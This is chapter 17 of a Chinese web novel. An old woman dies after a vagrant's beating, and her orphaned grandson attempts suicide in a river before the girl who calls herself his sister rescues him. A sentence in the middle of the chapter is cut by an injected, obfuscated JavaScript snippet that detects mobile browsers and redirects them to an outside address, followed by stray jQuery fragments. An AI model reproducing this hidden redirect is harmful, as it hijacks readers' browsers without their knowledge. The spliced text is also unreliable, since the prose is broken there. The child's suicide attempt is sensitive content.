17. 第 17 章

作品:《姐姐死后第十年

    没人能料想命运究竟会怎么安排,把人推向哪一种人生,只说世事无常。


    事情发生一个冬日早上,那天云棠起的特别早,巷子里还弥漫大雾,八喜跑上二楼用爪子打开房间门找她玩。


    云棠被它拱醒便睡不着了,牵着它去出门散步,走到半道肚子突然疼了起来。她很快就明白是月经来了,怕弄脏裤子想回去换。


    但八喜都出来了哪肯回去,云棠只好撒开绳子让它自己叼着先去河边溜达溜达,等她垫上东西再去找它。反正巷子里的小狗很少会拴起来,任由它们自由活动。


    云棠给过一袋米的流浪汉今年又流浪到河边,天冷,他几乎讨不到什么吃的,只能靠偷点别人在河边种的菜充饥,点起火堆取暖。


    不要因为一个人的表面,就轻易对他下定论,流浪汉看起来吃不饱穿不暖,十分可怜,然而,大雾里他看见八喜孤零零的一条狗,饿得两眼发直下,他招呼它过来准备把它杀了吃。


    八喜亲人,刚走近就被流浪汉重重打了一棒子,八喜也没想咬他,只是呜咽地夹着尾巴想跑回家,又被流浪汉拽住狗绳挥下第二棒。


    早早出来摘菜的刘春华看到这一幕,拿着挑水的扁担就过来打流浪汉:“哎呦,你个不要脸的东西,连人家的狗你都吃!快来人啊!”


    那么冷的早上,根本没人会出现在河边。


    流浪汉被人驱赶习惯了,可一见就她一个干巴巴的老太太,一把抢过她扁担啊啊啊乱叫。


    云棠赶到时,隔着水雾看到八喜咬住了流浪汉的腿,吓了一大跳,赶紧快步跑上去:“八喜,松嘴!”


    八喜一松嘴,流浪汉就惊慌失措地跑了,连被咬下的棉裤都不要,显然受了不少惊吓。


    “八喜,你怎么能咬人呢。”云棠责怪它。


    八喜喉咙呜咽着发出一声悲鸣,带着云棠走了数十几米后,她看到躺在菜地上发出微弱呼救的刘春华。


    好多血。


    她额头上都是血。


    云棠要疯掉了,她跑得很快,跑得魂飞魄散,拼命敲响路边最近一家尚未开的店铺,求求给她打个急救电话。


    直到站在医院走廊,她犹如被猛然抽走筋骨,一下子瘫坐地板上,浑身都在颤抖发冷,惊恐地回想起刘春华气若游丝的模样。


    即便后面大人赶了过来,面对警察的问询时她说话也结结巴巴的,声音控制不住的颤抖和哽咽。


    她才十几岁,尚承受不住亲眼目睹一个生命在眼前流逝。


    ~


    刘春华暂时被抢救过来了,但情况很不乐观,她年岁已大,又挨了那么重的打,身体完全承受不住,从手术室出来又被送往icu。


    后续需要不少的钱,多住一天ICU就多花一笔钱,江涛的意思的要带人回家,生死由命,但命向来不由人,最后还是周素月去交的钱。


    云棠被吓到了,发了很久的烧,浑浑噩噩地在医院躺了一个星期过后,她听说刘春华还是被医生宣告了死亡。


    那个流浪汉精神有问题,又找不到他家人,警察就算抓到他也没用,江涛气得当着警察面就对流浪汉动手,但也无济于补。


    没有人有江梅联系方式,她彻底和南城一刀两断了,江涛只好骂骂咧咧的给老娘办了一场简陋葬礼。


    云棠从医院回来后,身体还是不太舒服,躺在被窝里,意识昏昏沉沉的,她听到王阿姨和奶奶说话。


    “小棠这次被吓坏了,八喜也瘸了一条腿,这都是什么事,唉。”


    奶奶:“医生说养养还能好,以后不让它乱跑了。”


    王阿姨又说:“那个孩子要怎么办,看着怪可怜的。”


    之后是长久的沉默,是无所不能的奶奶也不知道该怎么回答吗?


    云棠睫毛颤了颤,模模糊糊地想,刘春华去世后,江涛是不会管云泽的,哪怕他饿死冻死,所以他以后该要怎么办呢?


    自己为什么要带八喜出门呢,当初为什么又要同情那个流浪汉呢?


    恢复些力气后,云棠爬起来穿好衣服鞋子往楼下跑,王阿姨回头只看见她匆匆擦去的衣角,焦急喊到:“小姐,你要去哪里?周老师不让你乱跑。”


    ……


    南城冬天不会下雪,河面也不会结冰。


    午后的阳光洒在水面上,波光粼粼,会给人一种温暖的错觉感,只有伸出触碰才能感受到那刺骨的寒冷。


    云泽站在河里,水位只有他大腿高度,水质清澈无比,能看见水的小鱼懒散地冒出来透气。


    正午偶尔会有人从河边路过,远远看着这小孩也不甚在意,他经常在这边玩,那水也不深,以为他是肚子饿了在抓鱼吃。


    路人走远了又回头怜悯地看他一眼,爹不详,妈跑了,现在连外婆都死了,他这样的孩子不出生还好,生了,摆明就是来受苦受难的。就算这小孩今天淹死在这,他舅舅还能松口气,省得被这么个野种累赘缠上。


    世上可怜的多了去,谁又管得来,路人顶多给予他一丝毫无用处的同情,叹上一口气摇摇头:“造孽啊,可怜啊。”


    云泽沉在水里的时候,世界变得十分寂静。


    水中的寒冷令他生不如死,冻得皮肤要裂开了,身体想浮到水面呼吸一口新鲜空气,可强大的意识又叫他一动不动。


    他睁着眼,眼睛似河底幽幽的水草。水外面的声音一点点变遥远,像两个世界正在慢慢被隔开。


    他知道这样可以死去。


    “小泽。”


    “小泽。”


    “小泽你在哪里?”


    一道声音由远拉近。


    云棠跌跌撞撞地跑到云泽家的小平房,大门关着的,她推门


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414863|200567||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    进去把所有屋子都找了一边,床底看了,衣柜看了,箱子看了,甚至跑到卫生间里看看桶里有没有藏人。


    什么都没找到。


    她又跑出来,小平房不远处放了很大一个油漆桶,里面正烧着旧物。


    把去世老人旧物烧掉是很多人的做法,怕晦气,也怕其他的。云棠看到火中刘春华经常穿的棉大衣,已经燃烧成小小一团,散发出一股浓烈的焦臭味。


    她左右环顾都没有找到云泽,又往河边他经常呆的地方去,依旧见不到任何人影。


    她茫然无措地站在河边,只能用生病沙哑的嗓音说话,让他不要躲起来,她会很担心的,也会生气的。


    往常只要她一有生气的迹象,云泽都会讨好的跟着过来。


    可是这次没有。


    八喜腿上有伤跟不过来,她找不到人了。


    河水在寂静冬日里潺潺流淌,云棠看到水下那一团阴影,迟钝了几秒,骤然大惊,几乎是连滚带爬地扑过去把人捞起来:“小泽!”


    她触碰到他冰冷身体,被那寒冷冻得手指瞬间刺痛发红,他怎么整个人都泡进去了,这会出人命的。


    她用力地把人拖上岸,手掌拍拍他苍白瘦弱的小脸:“小泽,小泽,你还能听到姐姐说话吗?”


    急救是怎么做来着,她双手按在云泽胸口上,刚按一下,云泽就睁开了眼睛,浅薄的阳光重新落到他眼睛里,他看到云棠在柔软光芒中,睫毛跳跃点点光点。


    真神奇,云泽看清云棠的那一刻,便又想要活着。


    自他出生以来,他所得到的情感是怨恨,是嫌弃,仿佛他本来就不该存在于这个世界了,然而云棠的出现,又让他体验到被喜爱,被在乎的感受。


    这种美好体验,是他所迷恋的。如果他这时死去,便再也得不到了。


    云棠这时也明白了,云泽不是掉河里的,他是自己躺下去的,他压下人类对死亡的恐惧本能,放弃求生的欲望躺下去的。


    她顷刻间泪如雨下,自责和同情占据整个胸腔,她把他湿透的棉衣脱下,换上自己宽大柔软的羽绒服将他包裹住:“小泽,你可以哭的,姐姐把你裹起来,你就藏在姐姐怀里哭,姐姐不告诉任何人。”


    她把他抱得紧紧地,十分害怕他身体温度流走,和刘春华一同离开。多年前她和那只的黄色小狗的感情还不够浓厚,它死去没多久就淡忘了,但云泽跟着她身后叫了那么多年姐姐,他们之间的感情已经太深厚,如果他死了,她会难过很久的。


    云棠抱了他一会儿,把他背起来去找大人。她不停地和他说话,直到他有了反应双手搂住她脖子,趴在她肩膀上小声呜呜哭泣,泪水湿了她脖子,好在她羽绒服很大,能够完全将他藏起来。


    周素月找到他们时,云棠被也冻得哆哆嗦嗦,湿漉漉的睫毛似乎要结冰了。